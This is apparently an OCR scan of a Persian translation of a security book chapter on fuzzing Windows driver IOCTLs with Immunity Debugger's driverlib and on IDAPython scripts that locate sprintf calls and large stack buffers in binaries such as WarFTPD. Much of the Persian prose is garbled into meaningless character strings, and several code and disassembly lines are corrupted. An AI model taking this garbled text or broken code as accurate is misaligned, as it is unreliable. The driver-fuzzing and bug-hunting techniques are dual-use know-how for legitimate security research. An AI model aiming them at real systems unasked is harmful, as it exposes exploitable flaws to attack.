L oS Yl .l (6 s T CaiST U1 51 GdST Cand &S5 Wil gzn ) 5,01 03 a8 Lo Sl oslizal b s 5 Cota s
52 el Sk s — H o ade 15 6Ky o8 s o3l ST 5B 15 53 ol Sl sl e il e 48 Alts

S3us Sy mls 05,5 56— s fuad

S sheS slaods 5 5 (S oy T Ol K8 (6l pome (6 Ao 0 4 08 b5 - )3 (k5 sla S o & e
ot o) eslimal Coda o i la s 93 Sl Canl 03 U 5 lys (55 | sledlo 53 593 ol Sl alas (g3l 4 1.l
&l o 5l (5 Jaas 53 sl iy T (s (695 p (oo > o 032 VL 5 e 03l K W dhe b (6 o
¢S Lo s WArFTPD 5w &S 550 )3 Sl o (Sl 4 025 S eslizl WarFTPD S3y p Ay S &S 035 Ty
w”;o\,jlrg\ﬁufuwmuqﬁ,xi«.ﬁlﬁ\w\),)ﬂsupdﬂ)su,@},gwmtﬂl;ﬂ»,uts
;:lg;,:ajl‘.:sb;:,,6@@&\;\c'ug;,:,@)\y;\d,wﬁ«f,w,ﬁa»wy>},\>u6.~,:.~;¢§i%:;\};_.gu,r__s

S i 3503 355 ) 0153 6K 5 g0 s e (53545 ol Lo ST 5 im0 Bl 4Bl o s OT 4 5 08 23
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1 eslizel Colg (s SleMbI aled 1 ol 52

)\sd\u.ms,\,;jJw,bg)\‘y;,\”ﬁ)\s.\ﬁw\swuct:;,\u,ﬁ;s)ts)ﬁbmgpﬁlﬂ&g@ﬁa,a,,;
ol &S men (gl o9 & 5s ébﬁs,”’@}fz/@w b J 8 leslizal L ls 5als 4 Sledbl Osls b L,
j\:.»ts)&b!JL&;;\6;,.‘g;fum.r.:m:srb,a\,.uf!.\ﬁwﬁﬁaty;méuuﬂtfgﬂ)g.uéum,ﬁg,umuﬁu.\f
Bl s 5 b s g s o 93 YU 511 15 TOCTL (sl oS &y e ol bl il e Loy K03 (6 aali 4y anli &S5

Y g 5 10CTL EMSe s 5 2 55 2o IOCTL Colf jf oliznl b s G 4y il 0 46580 457 o 58 520 L ke Lo
be o S 03zl SN 4 LT Sl 51 J3 s IOCTL (6585 sl Immunity Sy 51 e biT 51 0S” = ae 1y s
S oslinal L5 5 50 155 5558 53 JalS SleS| L;»Tc.?étﬁdriverlibLs.-;‘i,u,ﬁg_; s bl s (g 615U
SIS 5 Vs o8 oy gn I 28T (sl Ol ol szn 48 r5saT (or 5 bl el driverlib Glesl 4 A omes Lo
> driverlib 5 &8 ol ames Sl 2T 55 5.0 Jowi 5 2ol ) S5 )2 odd 4ax 5 gl 51 eSS 1, IOCTL
S okd osas 4 (5550 e aS e 536 ol o 0iSe eslinal b iy (sl James 538 S Sl s ﬁﬁi:ﬁ

il foctlizer

)}‘ib" C)LEL.‘;J‘ 101
0 iS J 87 G S (g 05l e 0 65T 3les K G g s U K L (S35 5 e S5 3 b lys plad Lo
S (G sl 0 ! A kernel32.11 5148 CreateFileW™ i sl 5 51l b sian Sud  dades OT L L5l (gl 1y 55155 5

Pl 25 D 4l ol S Sn o3lisal oS J 28

HANDLE WINAPI CreateFileW(
LPCTSTR IpFileName,
DWORD dwDesiredAccess,
DWORD dwShareMode,
LPSECURITY_ATTRIBUTES IpSecurityAttributes,
DWORD dwCreationDisposition,
DWORD dwFlagsAndAttributes,

HANDLE hTemplateFile

264 Kostya Kortchinsky, “Exploiting Kernel Pool Overflows” (2008), http://immunityinc.com/downloads/KernelPool.odp.

285 |mpersonation
“I20MGMT Driver Impersonation Attack” (2008), http://immunityinc.com/downloads/DriverImpersonationAttack_i2omgmt.pdf.
266 10CTL
267 Device Name
268 \SDN CreateFile Function (http://msdn.microsoft.com/en-us/library/aa363858.aspx).
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Ol s plonil ol e 5 2155 b Glhes 4 Lo &7 Ao asntn OWDESITEAACCESS (12 .5 s | el 3 5 15 511487
5 GENERIC_READ(0x80000000) I salsme L 355 dolie lp o (3 2 L o5 ) 2y Lo
o3 8 Lol fmn s oS0 a5 ho 41y dSharEMode el Lo oS e3lizel GENERIC_WRITE(0x40000000)
I IpSECUTityArIDULES eyl pupes Lo s Sos sl 0 0315 =28 5L CreateFileW 1 ouiS” J 28 a8 Sloj b b s @
Sl BB 525 4B 8 5 53 0diS I RS (5l il ey oIS i 5 6T el (i oy o 0iSin i NULL
4 |, dwCreationDisposition s, b .Conl Cnlis Lo (gl a5 ,Cbls dalgde 55y L3 Gl sy (6 dhwy 4
ol 53 a8 L1, AT 5,05 sy s plys & Sose 55 S 53 S Sl e ps S r..g (L5 OPEN_EXITS (0x3)

ST L NULL 5 o & ) e eyl op 5T 5 dal = 8 5l CreateFileW o 50

0313 oy 8l ok ST 0liS I 287 5 0l 20 Lo, s ST e CreateFileW 1ot 3 51 pane (g oS JS e opl )
3 @b ) &S 0alisul IOCTL JLu i 51, DeviceloControl™ sl 5 5 il stee Lo S bzl ) 155 4 10CTL S

1! _).3“) CJ‘)}J 4 CU Lﬁ-‘ 6)@‘ ) o Cb’:’&w‘ kerne|32d|| J‘

BOOL WINAPI DeviceloControl(
HANDLE hDevice,
DWORD dwloControlCode,
LPVOID IpinBuffer,
DWORD nInBufferSize,
LPVOID IpOutBuffer,
DWORD nOutBufferSize,
LPDWORD IpBytesReturned,
LPOVERLAPPED IpOverlapped

Jk

4 45 Sl IOCTL uS” dwloControlCode el .ol CreateFileW il 5 5l odd osls i85 odiS” Ju8™ Jol el

3, D) pe bl sl 53 IS o 1y 55500 el oo 1 as 4 45 ASCa aieia AT ol gt ol i)
b 5 S L oploiSn ol 3 4 e oS el Sl bolo &8l 3L e 4 5 o el & IpInBuffer gum el )l
c_a.p;x«éﬁ_nlnBufferSize ,ul)g.‘.‘_&:ﬁju,\,ﬂﬂmbw&4;!Jg\)oTnguS\ﬁ,@\udiﬁq;\? sla
S8 b s Ll IpOutBufferSize s IpOutBuffer sla sl )l . dads @U" (....i.A LSy 68 sl s el e aS
&S IpBytesReturned Falil 635,58 Slaw 3 shas aslinal 5 gl @;:f)'l{ Sl gl s sl el )l opl &S sl ol b, A

oy bl o AT (Sl b ool o o3y St 50 b Syl 3 51 Sledbl e 4 b Ko bo @ a5, ol (ol | It

269 MSDN DeviceloControl Function (http://msdn.microsoft.com/en-us/library/aa363216(VS.85).aspx).
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Immunity Sl 5l eslizel b das 03| ey s plin 15 52103 65 b b5l J ool Lo Yl 080 a5 NULL L IpOverlapped

.V:S&J&:M;;)y)x\ﬁgouwlij\‘},sbé;”,;p 5 (=S5 &S 5 DeviceloContorol i =15 «

Immunity $ls 5l eslizel L s 5505 03 S 5610.2
s oy l53 4 <S4l 1 |3 DeviceloContorol iy ozt ;5 gl Immunity $lus 0387 &S m Cobls 5l ol e o
@l S5 & s s 03l PyCommand Sl S eslinl G gz 1S e 230 eSS gl S Ty
3513 51 e 8 (53 5.2 15 o DI ple5 5, S (6,803 1y 555 Juls 41 (5 3L 5 4,5 |, DeviceloContorol
3B Slles 35 3n 51l G 4T nm gion K 53 5 ol polie Lo il S5 w0 5 1l I8 Sl s 5 S
S OMhee 0 AT B il ol 03l 5 b K3 Jsb o 55 GBI ol e Lo 13 5n e oy 58 Sl 02 5b 4

055 OSS ) A el 03 S Al 1) il ok (s g S o e

J_J;e,.udnb)\mqu.swswéj\.u\a\),%ﬂuW«fw\@ud.gJ,lea?flu&T

Al (S 5len uile &G 5l sl Wl ol Jo= (sl ol

.M;)\}QTJHJ”.\f,,\J_J|J§iioctl_fuzzer.pyQT(U,.&S;@.{\.gkoﬂg‘}{u&!&f@,&b.xf.u»).l.i

ioctl_fuzzer.py

import struct
import random
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Original Buffer:
000000000000000000010000000100000000000000000000000000000000000000000000
Mutated Buffer:
a4100338ff334753457078100f78hde62cdc872747482a51375db5aa2255¢c46e838a2289

*kkkk
*hkkkik

IOCTL Code: 0x00001ef0
Buffer Size: 4

Original Buffer: 28010000
Mutated Buffer: ab12d7e6

*kkkik

Wireshark i, 55 &Kl s &

45‘) S39,)9 JSlJ AR LY u;(OxOOOOlefO;OXOOlZOOS) ('.1)\: ol ‘S:L.::.f.l.._a' IOCTL A{):Lﬂ 45.\:50.\.&\.&.» .l:;‘j:ﬁw
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ol g Lo LT .(,__;sclﬁwt).u&:ﬂ@%g;hflocn &S ol Ses (sla 53 (sle pb ple ol s2e Lo driverlib

Sy )8 b 4 5L 05 1) b 6y T il e 87 08 sl (G 5 Jis 5 g0 sl 30 S
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Jflﬁ.s\.l)lDAPrO)a\)l@.;T QQD,aM@%&&lOCTL}u)ﬁ\)s(U 03,5 asin Sl p el jsb 4.l la Hpl)s

driverlib 48”4 Gmli Lo ) wlslly 355 58 ool 4 ods fas S anlllae b 2ws S50 4 g V’S ngl.lf)l{ Immunity
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.l driverlib J:-‘: B a 41:..»} u;_l.wu Ly é“’)b Ny -\:.fbl:

driverlib ;5 bs ks pb 0351y 5555

Sl 1o BT ST il 85 g 4 e 3 G 8L 53 1y sl 3l eds gl ol sla axty S Cod G (Sl IS
ol A8l 03 ST exlinal paled S S sl b OT 1l ST AL Kl ol Ko o5, 48n o "\Device\”
opld LS BN g b pl 035 Ol sl ST S OT Sl eliST JRST 6 Wl S asly oS
SLs 535 s PyShell 5, as 6,138 5L aSKal d .S” (6,108, Limmunity Sls s 1, C:\WINDOS\system32\beep.sys
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L 4 b anfllas b g ls atiy Jydo o K Oy IS L 4w s \\Device\\Beep &\)xmrué&u‘&.\gﬁ.@\ﬁw

gl 1) S Slziy 53055 S 1OCTL la oS 5 IOCTL ™Y Sl _Juol b das o1 Yl 22031 ey ol S

=

IOCTL Glasil s, 05,5 14y 104

Calzbes gla Sl 555 Ll b sl 28y IOCTL Olaisl 555, &S5 bl ks (g5l 03Ly 15 IOCTL Ll &K &S 50055 52

o9y SISl Ll DIVErENtry s piwe Jlssl 5 & 505 odsl 5 siee 18,0 Hals &K By .48 5505, 1, IOCTL

ol @l b 4 5 e 3 1K 5l 1, IOCTL laiil 5 (55 153 (5! » DriverEntry

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath)
{
UNICODE_STRING uDeviceName;
UNICODE_STRING uDeviceSymlink;
PDEVICE_OBJECT gDeviceObject;
RtlinitUnicodeString( &uDeviceName, L"\\Device\\GrayHat" );
RtlInitUnicodeString( &uDeviceSymlink, L"\\DosDevices\GrayHat" );
/I Register the device
loCreateDevice( DriverObject, 0, &uDeviceName,
FILE_DEVICE _NETWORK, 0, FALSE,
&gDeviceObject );
/I ' We access the driver through its symlink
loCreateSymbolicLink(&uDeviceSymlink, &uDeviceName);
/I Setup function pointers
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]
= |OCTLDispatch;
DriverObject->DriverUnload
= DriverUnloadCallback;
DriverObject->MajorFunction[IRP_MJ_CREATE]
= DriverCreateCloseCallback;
DriverObject->MajorFunction[IRP_MJ_CLOSE]
= DriverCreateCloseCallback;
return STATUS_SUCCESS;

X

DriverEntry sslu 5, ¢S5 (gl o &S

b gl oS s tiSCn oaleT 1y Ol g L golys i 4,8 45 ST yadniin Lol , sl DFIVETENLTY o5l 5, &S5 YU U7

| DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IOCTLDispatch

270 pispatch
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CMP DWORD PTR SS:[EBP-48], 1337 # Test for 0x1337
JE OXSOMEADDRESS

/I Series of SUB instructions decrementing the IOCTL code

MOV ESI, DWORD PTR DS:[ESI + C] # Store the IOCTL code in ESI
SUB ESI, 1337 # Test for 0x1337

JE OXSOMEADDRESS # Jump to 0x1337 action

SUB ESI, 1 # Test for 0x1338

JE OXSOMEADDRESS # Jump to 0x1338 action

SUB ESI, 1 # Test for 0x1339

JE OXSOMEADDRESS # Jump to 0x1339 action

switch{} < slis gls ake> Sy QSL“"“" ol J‘i"‘""; KLy

Vb Ced 53 o5 Sl (1 @305 33 T 0 5 Jgima Ll 13505 5525 ol US4 SWIMCh{} (6 oz Lls sl 63L5 Slws slgal,
af@;ﬂqugﬁiﬁsowwj;u@ﬁ|%u,v,&fo,\ﬁmt,cmpQb;_ﬁ;;ldﬂ&iud,um,;.,\i;;mu“
23 i, gdee Slzis sl bw g 3 aS TOCTL jame uS ¢S5 bl odd Coey Culf 7 sl 0 ol (5la IOCTL L duy Lo
IMP | s (g51uas b of on oS” (ESI Jlie ;ﬁl,;)r_,-_i,m.uu“ S galds 53 1y SUB &l sz @M&»upg [

Pl 25 g (el Sub 03 8 Iy ST Jle ol s it ekd (b 5

| SUB ESI, 1337 |
Sloslizat b e wls 53, pste € SUB ) gons o bniT 51l OX1337 0 sty IOCTL S o 5 ol B Ko be g bt |

15 4 <5 getlOCTLCodes() mb 4 A ol (o0 1, ICOTL Sos s sladS” 0T 4 03,87 9Ll 5 550 ol 0y s
9 » S5 s & ARSI Immunity $ls 55 5l J=1s s Mlib/driverlib s Cwl sl osls Tl s
ol 3 g s e Lzt 15 1OCTL (gladtS” 4z a5 45 S jasutin 5 3,108 o5 IOCTL et

S odalin Jas j3 0y LB

12 Ariverlib 31 e .o e o g OT 51 10 s plowil e 51 15 418 alm slaylS7 55 2 il e dIriverlib by e 20 487 Yl
v_.<.,4 o 3 O gl pickle™ ¢ s 1, @szv.:ﬁ_.“;u.:.w\ okd lats IOCTL (sl oS 05 5 Iy 5 b abows oL 0357 Iy
s & 5! r& oslizul ot Lty IOCTL (slgzss) 0357 56 sl » o pickle ams 51 48 v e IOCTL 506 &S o
Ot 2o 538 Il IS (sl e (s a0 ST 0 (5L S S i 5103 53 5 b (6 03 5dons

56 (g 4

271 http://www.python.org/doc/2.1/lib/module-pickle.html.
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SDK ¢ 5 sl 5l 3l ol i Sl 03 45T IDC (gl )13 IDA  ats sla S o Do ol Jotls Flos &S5 (sl ls 5,555 1

C,:fy% Ero Carrera 5 Geregy Erdeliy s rug,&;p 2004 Jls js, ol il r.aljé IDA &5 (55b (solens 3 ealizul L
SN API 5 IDC gy 5 oy Sl it 4 JolST s 205 OISl s plol |y o sSan niline 57 (533 4, 45 1, IDA Python
4{6.\.2.:.3)456\.&g:,.:.l.)g..ﬂ\s\f.\.h.l:.n\)b&ﬁld\L:..S:A{g;.:l{\éal..l.h.k:ﬁ,Qﬂl.;d:'—léjé|)J§:J‘}WL§L@J35LA(=L~J)|DA
SIBINNavi™ wile (65w la,l 5l (sl IDAPYthON Lt 55 el O5ul (6 alaws 4 IDA ;3 585 5 Caslby ) shi plosi
Lo Il ol ol oslizal (o 31> 2y 035155 Jub ) ) PyEmu 5 Paimei™ asle 5b e syl 3l ueen 5 Zynamics
A IDAPYthON (65 5,8 5 J same nl s Wr-'g“‘ 215 IDAPro5.2 jlestazul L IDAPYthon (¢l o1 § was =1 0
OLY ohin ¥ pane Lo 57 o SSoe kine iyl g 4 Dby oo o 51 Jle 510 Sl Sy Sl (85 L 1) 555 55 5 ot

s

272 it/ fwww.idabook.com/

273 hitp:/iwww.hex-rays.com/idapro/

274 http://www.zynamics.com/index.php?page=binnavi.
275 http://code.google.com/p/paimei/
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IDAPython .25 \Y,)
oslizal 0T 3L s (gl aelsl 3 5 43 g0 &S 51,08 3L s 1, o el 6 aw wyls CL::" laz! L IDAPython oz (¢l

S a1y 0T s 8 &l s 1y el o3 425 |6 4Kl 31 A http://idapython.googlecode.com/files/idapython-1.0.0.zip :4:S”

python.plw CUQ&B&QTJ&-\:;)S,:)‘: > 9 plugins L;)};fxbé_iiav\&jlfgg@ﬁp,v\:fjle ol L ngjzii\:
S Oy g 530S S 35 IDAPIO (s 4l s 53 plUging (6, 5 5l oI 53 1, python.plw 1 6 oy 5ls 5L5 L 3505 5 9
5 5 15, IDAPYthon (g 4 5 i 5L, 5 515,05 51 3 C:\Program Files\IDA\PIUGINS ;s 55 (5,555 515 ! IDA 5 aiy

315,03 C:\Program Files\IDA s ;5 6 i Syge 445 S S Oguly ol 6,55 05

Sl 5 a5, GOMELLIDA 31y gl ol b6 a (Salear, il osls plowil (s ys 4 1y ol Jorl o 55 0 padan 81 6l
33 L IDAPIO > 5 .ol 0t Cozi IDAPYENON o8 s b ol &Ko 587 (60 2y 53 Lo, 3L OLL OT HI875 55 Lo

A3 s gl and e LSS S S0y

g

Loading IDP module Ci%Frogram FileshIDANprocshpc.w3z for processar metapc...Ok
Loading type libraries...

Autoanalysis subsystem has been initialized.

Database for file 'calc.exe' is Toaded.

Compiling file 'Ci\Program Files,IDANidchida.idc'...

Executing function 'main'...

IDAPythan version 1.0.0 final (serial 07 initialized
Fython interpreter version 2.5.2 final (serial 0)

Alkide  Down Disk 9B | 4

IDA PYthon s ai p5ia 53 IDAPIO 5

Wl s &5 Ll 0l L1 55 IDAPIO 3 FILE o a0 SLo1 (s 4u S 55,055 s |, IDAPYLhON i se b Lot 5" Yl

A edalie 2 p gl 53 15 T
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= Open..

Load file 4
Produce file 4

IDC file...

IDC command... Shift+F2
Python file... Alt+9
Python command... Alt+8

I Save Crl+W
Save as.

(®

Close

IDA Python .z ;| 4a; IDA Pro L6 s 4

Sl ks Gy 85 55 o (oo o3 Sl S T (617 open s Python Command 5 Python file & s 4 5 55
&l oo &5 g, S ¢SS Python Command s 4 8 (65 Al stue e, ST 1ol 1 05l osl y st S5 aal ous Lot
sl Sl sl 1 sl Python fiile (s au 5 cdade ialed 1) (ors 5 Calgs 03 55,800 b 511y w5 b dal s 5L Les
IDAPYhON o™ Yl .0 ily 4xils S Sl G opsu 2K oopl e Lo b a1 55 ul 5,3 40n o3lizal IDAPYEhON S
S eslizul 5y 50 Jgane ysb 4 IDAPYHhON ;5 487 als owyp 4 doads o3ll Y S JIS i) 4 5 Gl ol ol

'V'i)"’ﬂ: l"‘bj:i:‘

IDAPython als W)
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IDAPYEhON ;5 il s Ao Szt 1, 0T IDCTY o™ b 1513 12 oS el gime cp s 2], 2ol IDC o SLIS” IDAPythoN
A Al S 0T 4 dew 5o IDAPYthON (sls ooy Sl @\ﬁu‘\f@lﬁn);‘y}w«fcl}; O gl b s i | o
Mads i 1 wb G113 100 51 i IDC 0L sl 06355 sl Sy ST (205 Sl s wl K Wil S aads

ST gy Gen SalST 1 LT Ozl 3 Sl 53 il gze Lk Lol 3 a5 JolST o S 5 sl Lo e

S8 s Y

AL Lo SGSTIDA PYENON (gl oy SCol 55 sy il e 8 Aizn (SuS7 I35 5 ml5

| ScreenEA() |

.%fﬁﬁ}”-%ﬂ»‘&‘ﬁboﬁ

| GetInputFileMD5() |
LS n S Wb g e |y o o (6,80 (5 Lok 0 oS, 03 Kb 15 IDA s 0 (18 5 ,mb b MD5 s

b CraS V)Y
CODE, DATA, BSS, STACK, ) 13035 S &S, plaS 2 48, ol 0 2K ilibes (gla o 53 IDA 3 (5 1L K

M-\.AT)K,Msz.ild&‘b&&uéwLse)l{)}QLGW‘gTMSLglﬂﬂ)c‘j(XTRNL‘[CONST

| FirstSeg() |
s Koo 5L 1) 6l 53 S ! g 0T

278 http://www.hex-rays.com/idapro/idadoc/162.shtml
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| NextSeg() |
il S Sl A8l il 35 (6,805 oS 4T 35500 1, BADADDR U 5 5 b 3 sy oS sl g5 o]

| SegByName( string SegmentName )
E3r5 03T e 4 DL T Ol e s teXE L OT 113, e (sl oils Son 5L OT pb (e 5 ol ot &5 50 o)

Ll Koo 5L 1y gl B Jsls s a8 cnKa

|
T

| SegEnd( long Address ) |
Ll K3l S O 0335 o T K e |y e 0L

| SegStart( long Address ) |
u\.:\)ﬁﬁ)b\l«&ude)‘)Jd‘).}T&jWbQ&ﬂC)ﬁ

| SegName( long Address ) |

[ Segments() |
W13 a5l 1y Con (6 sl 3 35 e SlgmaSln plad (51 3,5 (sla o sT 51 Cd &

G": AR
Lt 554 55 0T g 5 g Sl 55 LBV L a8 (635050 51 (S0 (6,0L &0 J51 53 wls (5 Sl S 1SS w5 L

Pz Ade 515 5T g e 6,5l BB Osss wlS LS (B 5 sl ) el w15 LI

| Functions(long StartAddress, long EndAddress) |
x1s L5l 1, EndAddress 5 StartAddress sla bl ale wl 5 ) Cnd

| Chunks( long FunctionAddress ) |
AOLL g oS (S OLL 5 g 85l BB K Cd 02T o bls Kajl s al sle SN L il sl 4S5 51 d 5

A oy lal S5
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| LocByName( string FunctionName )

Wl B3l 0T pb p gmon ) b oy T

| GetFuncOffset( long Address ) |
..uujic,.jpbqwm;;,@u@,:u,s‘ﬁp;wj@u(,uqm,&i@\,cu&tgw,ﬂ&i

s Koa3ls O b (g2e 1y b o ssT

| GetFunctionName( long Address )

il S 5l 3513 3l 0T 4 41y alf 26,5, 8o oy T

Corss-Refrence 1V,0
G Cad S (a5 DML e Lot dal hes 45 adlge 55 (6 ,0b b6 &S 0,5 sls Corss-Refrence o5 8 I,
sl corss-refrence 0s S jesiv gl Ob e Gl; ¢SS IDAPYhON.Cowl ke s , 48 (S 1y Cos (6l 045 -

Jj.i.:.n oslaiwl C))u.’.'.n

| CodeRefsTo( long Address, bool Flow ) |
bolis o Kn 53 oSy s IDAPYINON 4 s oy &5 ils Son 5l ok a8 8 )T 5115 s o8 Slolor ) 51 o &

o b Sl Jgane U7  ie L s cross-refrence

| CodeRefsFrom( long Address, bool Flow ) |
J;‘J_l,i._.a)‘.; ‘)ou\.fv “;wﬁlff‘fﬂw&

| DataRefsTo( long Address ) |
.J}J:AO)L&LN‘;'}M‘sﬁtii)j))‘sfﬂ\ﬂéhﬁ:gﬁéﬁih)d\ﬂ.J}‘J&jb‘)omﬁéfdu)JT@‘fj‘w&i

| DataRefsFrom( long Address ) |
Ll Koa Sles 4§ uysT 51, Oledbl e S ed

J?L:ibt.;L@s}“ V.7
b 5l g (5 oS J 257 G a5 IDA 0553 Slos &S 4n S5 0Dkel b IDAPYEhON 53 ool sla bl 51 SO
53,3 skead o3l S5 s sl Y sane IDA 4= STl aly Fo ol (S oS ezl gl sl 55 sk 1

Blos la &5 gn ol 51 (S5 bl Kos 1l &K Sl eslizul slow IDA s Slos 31060 ol yoly o ity 35050 51 (5
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S5l ol (g1 ol iz IDAG 555 03l Sy Sl &5 sl oy el 5, 51 55 oS S oo (g0l Jolis oIS

S eslial 5 a8 s Slus oS ea

95 2V b Sl I8 K L 5, 0SC0 S3L 5 1) Sl s sla sl plad Lo &STam 5,08 1l ) STs Vi

sl IDA SLs

2513 3y 48 aslizel 03,8 Slus o8ia 3 il gz s & S5 il (S bl

s 515 555 5m s3T55I e 4By &

...Ubu\:.aﬂubmuu‘éﬂ‘:)‘,ﬁcud‘s‘ﬁldbjb56&4&3 sldas

Wl Soo 5 OT oy (zn 15 DS &S 095 e

..uifr,u;:b,uumau)\.w
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LS sl (55 68 5 5otk (sla o Sl 5 ST 03litul e sSCne pwdige Ul (5l g sl (1 b o Sl Sl Al g
Sesletal b uS™ (gl >l (g o3 5doee 03 S 5 gile 5 SSTU o &5 S8 sla corssrefrences 05 STy sl g le S Sl Lo

S o 52k B s wl 5 ples | ity sla e L 5 0iSs sl IDA s Sls oS s

&Sk o5 Cross-refrence 03,87 Iy VWA
G52 33 S sl Lol ol (Sn Wb gl el I 05 G 0503 Gy el I 4 5 sl 4 S (B
Lals ol el CL,*>|L,,.(memcpy) absl> - S cl,:}(strcpy,sprint) wd - oS o5 Jolis &858, O eslatal S ys
5‘51\?,1|,\¢TM,c\}:‘ﬁls,ﬁfﬂ,ﬁtuugﬁﬁ.ﬂmg%,‘&.&ft%@ﬂqw@tw&wt’ﬁdj,
21l Gl il o eade 3 CAll Ol mes 5l a8 aa) o 55 6 omen Lo as (il Lo 4y, ok Gl b
L OT el 5 S slml i O5ab b &K s ot 1) 6T (Sale 458 slul 1) Calies sla 18 IDA &8 e

s L 30T a1y 5 48 scross_ref.py

cross_ref.py

@‘WJMJ&OJJ-’U”)JTETV:—{:"MW)(-'\fﬁ\)rz-gfC}FSLJE"CU‘SUwﬁTWgUJ’}"JKL‘

W,(.\fja\‘)rgigc,él,_,.s 1y Ll o3l plenil SSTU s Gl}:q@!ﬁ-l}&iJsucorss-refrence.xfrwul?ﬂ,'l gy

\‘)‘..:&:ad.ﬂ,bcall 253 035 3 5 T T 055 Cla 5 s corss-refrence plos 035 1y sl JolS 4 1) Cod Lo
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oslizal Jle &S5 5l (s b Ol s 4 Warftpd.exe 51 sz oS odalie IDA (sls S8 55 15 6T il b ol by (457

LB 315 ) Cond a2 A L oS |l ) o Sl L (85 S

Cross References to sprintf

004043df
00404408
00404419
00404810
00404851
00404896
004052cc
0040560d
0040565e
004057bd
004058d7

cross_ref.py <o Sl >3 &

;}‘;&Lw)bhw)JTQTd.:w;‘),w‘oMLﬁ'?‘}sp“ntcugmdhu&ﬁ.h‘odﬁlw&duwja]rrw

‘:“""_)'f..)jij"‘ajQ)}‘p4"6‘:“”‘°Mg_;§’)j£>)fjj:“>4§“\:“‘%bwr%’}’6ﬁ

loc 428299:
mov eax, [ebp+arg_ 0]
lea ecx, [ebp+Dest]
push eax

push offset aGoonlineCreate ; "GoOnline(): Create{%d) failed."

iu5h BCH ; Dest

add esp, BCh
lea ecx, [ebp+Dest]
mov eax, dvord Y4AECYH

push ecx

moy esi, [eax]
push 2

moy PCX, PAX

call dword ptr [esi+iCh]

cross_ref.py g_uji.dl Sosprint eu LS;, Sl g s~
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215 6 aen sl s By 031,15 5 s b J51s w5 ples LSS sl ; IDAPython B PRCIN IV PTG VPR S o
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S iSn o3zl 13k |l G 53 ol 4By Sl e sl S5 S o Sl i 121 IDA Sos b e

el 13 Ol yaly p3 88 ﬁ,liiyfunc_coverage.py Iy ol Pl S sl bt Ol

func_coverage.py

rwuw.wddwmﬁﬁ;;w,,dgg};‘_g,,'\;u«s,w (.6,;\)m&égwobbaf-f\ﬁ;efﬁum{\
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S odalie L yiee Sl 3 S mly s b led 5 (FO aJS) w1l Fls Vo .t Ol Sl aiy Sl 5

e 5 Tl 5 5 sten G115 67 (ol 551V el Sl (501l 655 L 4 oS o)

ks 6 o3I (5 Aloes 11,8
Sl Sl ks (5 03Il pdegs din Sen (sla (5 2y T (1 5L BB S o b s (55 il slgile s
g 3 B s Sl L 5 st o o8 S k1S o )Lal 1 LTy & Lk Bl ) el g sl o5 o5
ol Sazl) il Il Sl ST J 287 5 50 001 ba 3L OT 4 o871y (5l il s e &7 (55 500 > il s 457,505 5 5
Al S leTloa 5038 ST 1 b Jo15 mlg plad b o s (6057 01K (e Jsmmn 3l (550 &S5 sl
Gl le (Jb o Sl by o Sl ol iz Lo ias tales izl Ll Lo gl ol e 5 it adly il — azéy la
L 0T b5 4 sleml e O3z JB &K a8 (S5 &8s oK s i ml5 ol S35 65 0 6,5,

s L30T 3y 5 48 s stack_calc.py

stack_calc.py
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else:

prev_count = frame_counter
prev_member = stack_var

Ttry:
frame_counter = frame_counter + GetMemberSize(stack_frame,
frame_counter)
except:
frame_counter +=1
else:

frame_counter +=1

(4855 1) @iSn iy 5, e b Sl 3L b gy 1k oS adeitin oS0 31 IS ity ke ylilie 03 S abede (gl gl oK s
Glj:CL‘,JLAW..x:;SL:L‘.J\J4?%:5).L:Su\.a;dﬂ\‘_gu:smtgua;\.u\yM;\ﬂ&&b\,w\dg&adg\xl¢§1¢A_L.\9
sty OB e 5l ealinal b (4850 1) @iSie S wl 5 5165 o sl 1M ety B b 5 (4555 Y) oS 1
;.,_Lg_s,ﬂ,ﬁ@C}jsuw.ﬁﬁguum,rés@ﬁmb%yué%p@;w&;ildu(.\f);f)eetStrucSize 5 g
S o3l 4y abols S b ol o 3 53 (G 58 Cal adT 3 sty i LT S 087 abntin Sl 6l sty OB Sl —
J:J_\);\L;)lg.mgudU‘l.u\\{\,a.u)uW,(SJJV)QUM\)%@}SWA@U&QAJWu,upsélf
aalsl 1y 55 (5wl 5 2l (S5l eSS L s (s odinled (Salearlo o astie | it il olm b 81 s
Jols 487 Ll wsls s 5 (3w L Lk ST eslinal gl BB ESS L Rl 53 1y o Sl ol Lok a1 1 et s

sl 5 Cnd Gy gr 4 aST (0 hd aadel sl 5L L iy (oolun

[*] Function: sub_1245 -> Stack Variable: var_C(1024 bytes)
[*] Function: sub_149c -> Stack Variable: Mdl (24 bytes)

[*] Function: sub_a9aa -> Stack Variable: var_14 (36 bytes)

T 6 ol 5ol 5 5L glyls gl aniy il g stack calc.py =5 5
S oolbl g Te AR s ¢ B ST

b few U g, oS 5, 5 ool 4 Al e &S (6l al o Sl (o3luas 5 IDAPYEhON i eslizul WS L Lus Y-
e Jebs RS e P A e © Gl Al oo ¢ 3 Yy J o Al

o MOk 5, S 6,53 e sSKae wikige 53 1) ek la Sl il s2e IDAPYENON 5 s 5 Sy Sl 4l sl . oy s
Jm&&,o};ﬂgﬂwxs@“;uw&ipyEmu4,.@tis,\:n“;t?mn,.@\wﬁuwxyéuﬁ,uﬁ@.@ﬁ

‘.ML ails,Cosl Joe 5 IDAPYthON i oslall 3 6

277 Stack frame
278 Emulator
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&) CPU Sl (gl 5 050b 51 a8 dadis o3l s g5 4ol &S5 w0 S Sl 050 L L2l TA32 le as ¢SO PYEMU s izt
bl s Lo 4S5, il e pan sl Lol 31y o sKre wnndign (81 2 il s Lo s &S5 5 bl ST eslizul (g5l 4t sl
PYEMU sl Kbl o5 4 55 o sSne oign Cislbs K03 (sl il smn S5l acdl oy Lol 150y oadls 87 51 5L
dads o3l Li 4 IDAPYEMU .MS" PEPYEmMu 5 IDAPYEmMU, PyDbgPYEMU @3 )15 (g5l aud 05 S Jleb (gl g,y 4w
el 1) 355 )8 (U8 anxl 0 0334 Juad 4 IDAPYhON (sl ) IDAPYthoN i eslizul b 9 IDA PO 0,3 1) gilw and Caslb s
251U 5 bl adly Slaie 3l eslinel O, Ly o Oloj 53 jle 4 ) dadie o1 s & PyDDPYEMU oS . daits
0 A s 5l IDAPIO 4 5L oS Sl b= 00T (ST (6 6bulS” &S PEPYEMU oS il axils 5 5 e and Sy Sl
